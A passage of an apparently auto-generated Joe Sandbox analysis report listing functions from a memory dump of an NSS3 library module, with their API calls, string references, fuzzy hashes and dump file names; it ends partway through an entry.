Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+l
API String ID: 2538134263-555380133
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 423ea4613cf585afaa988cb8447913d51fec9f20990332d10d9d5a7cc420f83e
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 5511C4B7B002046BDB008E659D01AEB77B99B8427CF384138E81CD7780E772E915C7A1

Function 6CF1CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CF1CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF1CC7B), ref: 6CF1CD7A
Part of subcall function 6CF1CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF1CD8E
Part of subcall function 6CF1CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF1CDA5
Part of subcall function 6CF1CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF1CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CF1CCB5
memcpy.VCRUNTIME140(6CFB14F4,6CFB02AC,00000090), ref: 6CF1CCD3
memcpy.VCRUNTIME140(6CFB1588,6CFB02AC,00000090), ref: 6CF1CD2B

Part of subcall function 6CE39AC0: socket.WSOCK32(?,00000017,6CE399BE), ref: 6CE39AE6
Part of subcall function 6CE39AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CE399BE), ref: 6CE39AFC

Part of subcall function 6CE40590: closesocket.WSOCK32(6CE39A8F,?,?,6CE39A8F,00000000), ref: 6CE40597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CF1CCB0

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: dc5fadb2d424c5e159d4b5729c9f0114d1f8eb6a6b749cf85556905586e5ac72
Instruction ID: 9e3874462813c0f3dfcf32ecefd06db54fa54adc545432667a75c36362166bac
Opcode Fuzzy Hash: dc5fadb2d424c5e159d4b5729c9f0114d1f8eb6a6b749cf85556905586e5ac72
Instruction Fuzzy Hash: A9119AF6F242405FDB809F5B9E8678277B89356218F149139E406DBF41E772D40887D9

Function 6CE81CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CE81CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CE81CF1

Part of subcall function 6CF609D0: PR_Now.NSS3 ref: 6CF60A22
Part of subcall function 6CF609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF60A35
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF60A66
Part of subcall function 6CF609D0: PR_GetCurrentThread.NSS3 ref: 6CF60A70
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF60A9D
Part of subcall function 6CF609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF60AC8
Part of subcall function 6CF609D0: PR_vsmprintf.NSS3(?,?), ref: 6CF60AE8
Part of subcall function 6CF609D0: EnterCriticalSection.KERNEL32(?), ref: 6CF60B19
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF60B48
Part of subcall function 6CF609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF60C76
Part of subcall function 6CF609D0: PR_LogFlush.NSS3 ref: 6CF60C7E

Strings

C_Initialize, xrefs: 6CE81CD3
pInitArgs = 0x%p, xrefs: 6CE81CEC

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 198bb10134a8d0535fd41decc0f67fdd5f10ec0e44d724e667b259ca4bf3edfe
Instruction ID: 406869cf6c5adc097dba403477cb0a17cc4f38c36fa6b9a0a0febc7373a52dfe
Opcode Fuzzy Hash: 198bb10134a8d0535fd41decc0f67fdd5f10ec0e44d724e667b259ca4bf3edfe
Instruction Fuzzy Hash: 7A01F1B5B120809FDB809BA4DA88B5533B5EBC235AF284438E80DD7B91DB71D849C796

Function 6CDE7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDE81DF
LeaveCriticalSection.KERNEL32(?), ref: 6CDE8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDE8255
sqlite3_free.NSS3(00000000), ref: 6CDE8260

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 96e4134d4b122f4c2f5dfe5987dab0486b7b35ee243f42fa06f80ecb9185975b
Instruction ID: bdab64342f05933e8abeb5b8aa4d76b1e57bd9607ed5ac9899c1d607f814be7a
Opcode Fuzzy Hash: 96e4134d4b122f4c2f5dfe5987dab0486b7b35ee243f42fa06f80ecb9185975b
Instruction Fuzzy Hash: 8991BD31E11608CFEF44CFE9ED987ADBBB1BF0A304F24402AD41A9B664DB355955CB81

Function 6CEC1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC1D8F

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEC1DA6

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CEC1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEC1ED0

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 3aab6cd69f0d21ee2cba2e513d8368d70e4d737c7690c51185aba1b1331d616e
Instruction ID: bddd3568eef720674fec2bed323410a23ff43ccd3b43a91374e7f78d63f4a5ce
Opcode Fuzzy Hash: 3aab6cd69f0d21ee2cba2e513d8368d70e4d737c7690c51185aba1b1331d616e
Instruction Fuzzy Hash: 32515875A00309CFDB04CFD8C984BAEBBB6BF49318F244129E829AB750D731E945CB91

Function 6CF14FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CDF85D2,00000000,?,?), ref: 6CF14FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF1500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF150D6

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 3210bafb8193dc4914531b8c8022cc8ffb718c20c066d139e76b450df57c29b9
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: B3418EB2A442118FCB18CF59DCE179AB7E1BF4431871D466DD84ACBB02E379E891CB81

Function 6CE3FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CE3FDFE), ref: 6CE3FFAD

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CE3FDFE), ref: 6CE3FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CE3FDFE), ref: 6CE4001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CE3FDFE), ref: 6CE4006F

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: b4e9128af4e7338a4b4b81b83c13aabc27f405cdf0e9fc3fdde2b9e107f4f3a1
Instruction ID: 2639878d708884bef7ba6b24fd71ffb3a549472573cd9dbe30166a048329defb
Opcode Fuzzy Hash: b4e9128af4e7338a4b4b81b83c13aabc27f405cdf0e9fc3fdde2b9e107f4f3a1
Instruction Fuzzy Hash: 8B41DF71F002159BDB08DFA5E895BAEB775FF46309F24843DD80693B40DB39A911CBA1

Function 6CF27DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF27E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF27EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF27EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF27ED8

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: ba0dd5d681c05107b7e7c2ef46be909c7fac5cbc92b04a51e8cedd9e7337da90
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 2631B5B2A001118FDB04CF09CC919DABBE2FF8831871B816AC8585BB11EB75EC45CBD1

Function 6CEDDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CE63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE7AE42), ref: 6CE630AA
Part of subcall function 6CE63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE630C7
Part of subcall function 6CE63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE630E5
Part of subcall function 6CE63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE63116
Part of subcall function 6CE63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE6312B
Part of subcall function 6CE63090: PK11_DestroyObject.NSS3(?,?), ref: 6CE63154
Part of subcall function 6CE63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE6317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CEDDBBD), ref: 6CEDDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEDDFEE

Part of subcall function 6CE786D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE78716
Part of subcall function 6CE786D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE78727
Part of subcall function 6CE786D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE7873B
Part of subcall function 6CE786D0: PR_Unlock.NSS3(?), ref: 6CE7876F
Part of subcall function 6CE786D0: PR_SetError.NSS3(00000000,00000000), ref: 6CE78787

Part of subcall function 6CE9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE9F854
Part of subcall function 6CE9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE9F868
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE9F882
Part of subcall function 6CE9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE9F889
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE9F8A4
Part of subcall function 6CE9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE9F8AB
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE9F8C9
Part of subcall function 6CE9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE9F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CEDDBBD), ref: 6CEDDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CEDDBBD), ref: 6CEDE007

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: b173ef7d6b57d4ea238a4c808ce771137554b9af035ce80e7416b1ecf4927ceb
Instruction ID: ef5e2e8bdf64b1c95ac470c91a51398d2d1b9cf9b02de4dc105c9637ed1e94cd
Opcode Fuzzy Hash: b173ef7d6b57d4ea238a4c808ce771137554b9af035ce80e7416b1ecf4927ceb
Instruction Fuzzy Hash: F13139B5A0020157D7109A79EC85B9BB2B89F5530CF260139E909C7B02FB25EA19C7F3

Function 6CE56C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE56C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE56CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE56CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CF78FE0), ref: 6CE56CFE

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: ec5c5a0564f7328004b5fed1c853520787e81d82db3398382eb581e8ac732a2c
Instruction ID: 92207325d656272d98d4813b09179bac15d77ade4ad8be0e9014866e8d1242ce
Opcode Fuzzy Hash: ec5c5a0564f7328004b5fed1c853520787e81d82db3398382eb581e8ac732a2c
Instruction Fuzzy Hash: C33192B1A002169FDB04DF65C891ABFBBF9EF45248F60443DD905E7710EB329915CBA0

Function 6CF64F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CF64F5D
free.MOZGLUE(?), ref: 6CF64F74
free.MOZGLUE(?), ref: 6CF64F82
GetLastError.KERNEL32 ref: 6CF64F90

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: a71ac2ecfb12a2aafcbe4feb9f91257c9730dad084ae2850b605f183e83cb252
Instruction ID: 170c93f91bd82b222e5380e5f68a50048059283723dd57e44039a4f140f236e2
Opcode Fuzzy Hash: a71ac2ecfb12a2aafcbe4feb9f91257c9730dad084ae2850b605f183e83cb252
Instruction Fuzzy Hash: 21312B75A002099BDB01EBAADC51BDFB7B8EF45358F050229EC15A7B81DB35990486A1

Function 6CEC6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CEC6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC6E57

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CEC6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CEC6EAA

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: beb7d79fdf14f6bdba235fcab3366f5f41ff443fb5dea469fae3fc0d31059199
Instruction ID: dd23ee49d2d1357f48227d08615e70d369a995c4bb70c5855daaf439c7aad4d6
Opcode Fuzzy Hash: beb7d79fdf14f6bdba235fcab3366f5f41ff443fb5dea469fae3fc0d31059199
Instruction Fuzzy Hash: BC317C71714516EEDB145E34DA043A7B7B8AB0531EF30063ED8AAD6B80EB31B654CB83

Function 6CEADDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CEADDB1,?,00000000), ref: 6CEADDF4

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CEADDB1,?,00000000), ref: 6CEADE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CEADDB1,?,00000000), ref: 6CEADE17

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CEADE80

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: f2ecceaad8d616b4040f083c4ec330f0b2838a8e43c866d14022a60539f7c8cc
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: E43172B5D016429FE700CF96D980662B7B4BFA531CB34C22EDC198BB01E770E5A5CB91

Function 6CE9FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

